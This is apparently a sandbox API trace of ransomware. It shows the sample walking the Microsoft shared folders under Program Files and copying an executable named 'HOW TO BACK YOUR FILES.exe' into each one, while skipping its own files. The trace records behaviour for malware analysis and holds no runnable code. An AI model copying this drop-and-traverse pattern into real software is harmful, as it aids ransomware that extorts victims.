	[0056.117] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\office setup controller\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.121] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.121] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x398625d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x398625d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.121] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.121] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.121] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures"
	[0056.121] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0056.121] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0056.121] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures") returned 70
	[0056.121] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures"
	[0056.121] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.122] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\cultures\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.126] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.126] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x398625d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x398625d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.126] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.126] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.126] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033"
	[0056.126] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0056.126] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0056.126] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033") returned 66
	[0056.126] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033"
	[0056.126] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.126] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.197] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.197] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x39920cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39920cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.198] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.198] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.198] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo"
	[0056.198] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5918c0 | out: hHeap=0x580000) returned 1
	[0056.198] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0056.198] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo") returned 59
	[0056.198] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo"
	[0056.198] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.198] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.202] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.202] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39920cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39920cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.202] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.202] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.203] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US"
	[0056.203] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0056.203] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0056.203] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US") returned 65
	[0056.203] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US"
	[0056.203] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.203] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.207] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.207] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x39920cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39920cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.207] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.207] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.207] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv"
	[0056.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591840 | out: hHeap=0x580000) returned 1
	[0056.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0056.207] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv") returned 58
	[0056.207] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv"
	[0056.207] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.207] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.217] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.217] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x39946e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39946e10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.218] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.218] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.218] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies"
	[0056.218] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0056.218] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0056.218] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies") returned 75
	[0056.218] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies"
	[0056.218] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.218] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\publicassemblies\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.223] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.223] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x39946e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39946e10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.223] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.223] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.223] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink"
	[0056.223] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5917c0 | out: hHeap=0x580000) returned 1
	[0056.223] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0056.223] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink") returned 56
	[0056.224] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink"
	[0056.224] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.224] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.230] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.230] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3996cf70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3996cf70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.230] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.230] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.231] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization"
	[0056.231] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0056.231] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0056.231] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization") returned 73
	[0056.231] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization"
	[0056.231] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.231] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\hwrcustomization\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.241] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.241] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3996cf70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3996cf70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.241] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.241] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.241] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US"
	[0056.241] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0056.241] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0056.241] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US") returned 62
	[0056.241] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US"
	[0056.241] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.241] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.249] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.249] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x399930d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x399930d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.250] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.250] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.250] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7"
	[0056.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0056.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0056.250] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7") returned 60
	[0056.250] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7"
	[0056.250] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.250] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.7\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.257] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.257] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x399930d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x399930d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.258] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.258] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.258] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0"
	[0056.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0056.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0056.258] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0") returned 60
	[0056.258] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0"
	[0056.258] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.258] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.262] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
